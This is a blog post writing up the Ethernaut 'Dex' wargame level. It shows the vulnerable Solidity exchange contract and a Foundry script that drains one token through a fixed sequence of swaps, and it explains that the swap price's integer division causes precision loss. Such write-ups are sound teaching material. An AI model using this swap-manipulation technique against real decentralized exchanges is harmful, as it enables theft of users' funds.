---
layout: post
title: "[Ethernaut] 22.Dex"
tags: blockchain ethernaut foundry dex precision_loss
---

# Analysis

---

The goal is “drain all of at least 1 of the 2 tokens from the contract”.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";

contract Dex is Ownable {
    address public token1;
    address public token2;

    constructor() {}

    function setTokens(address _token1, address _token2) public onlyOwner {
        token1 = _token1;
        token2 = _token2;
    }

    function addLiquidity(address token_address, uint256 amount) public onlyOwner {
        IERC20(token_address).transferFrom(msg.sender, address(this), amount);
    }

    function swap(address from, address to, uint256 amount) public {
        require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
        require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
        uint256 swapAmount = getSwapPrice(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
    }

    function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }

    function approve(address spender, uint256 amount) public {
        SwappableToken(token1).approve(msg.sender, spender, amount);
        SwappableToken(token2).approve(msg.sender, spender, amount);
    }

    function balanceOf(address token, address account) public view returns (uint256) {
        return IERC20(token).balanceOf(account);
    }
}

contract SwappableToken is ERC20 {
    address private _dex;

    constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
        ERC20(name, symbol)
    {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
    }

    function approve(address owner, address spender, uint256 amount) public {
        require(owner != _dex, "InvalidApprover");
        super._approve(owner, spender, amount);
    }
}
```

We can swap between `token1` and `token2` using the `swap()` function.

# Exploit

---

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../src/Dex.sol";
import "forge-std/Script.sol";

contract DexSol is Script {
    Dex public dex_ = Dex(0x072eb732b94c69AA9Bf16e2655DC154e56c4f5ae);

    function run() external {
        vm.startBroadcast();

        dex_.approve(address(dex_), 100);
        dex_.swap(dex_.token1(), dex_.token2(), 10);
        dex_.swap(dex_.token2(), dex_.token1(), 20);
        dex_.swap(dex_.token1(), dex_.token2(), 24);
        dex_.swap(dex_.token2(), dex_.token1(), 30);
        dex_.swap(dex_.token1(), dex_.token2(), 41);
        dex_.swap(dex_.token2(), dex_.token1(), 45);
        console.log("My token1 balance:", dex_.balanceOf(dex_.token1(), msg.sender));
        console.log("My token2 balance:", dex_.balanceOf(dex_.token2(), msg.sender));
        console.log("Dex's token1 balance:", dex_.balanceOf(dex_.token1(), address(dex_)));
        console.log("Dex's token2 balance:", dex_.balanceOf(dex_.token2(), address(dex_)));

        vm.stopBroadcast();
    }
}
```

When swapping, the `from` token is transferred based on the input `amount`, whereas the `to` token is transferred based on the calculated `swapAmount`.

Since `swapAmount` is derived from `getSwapPrice()` using division, precision loss may occur.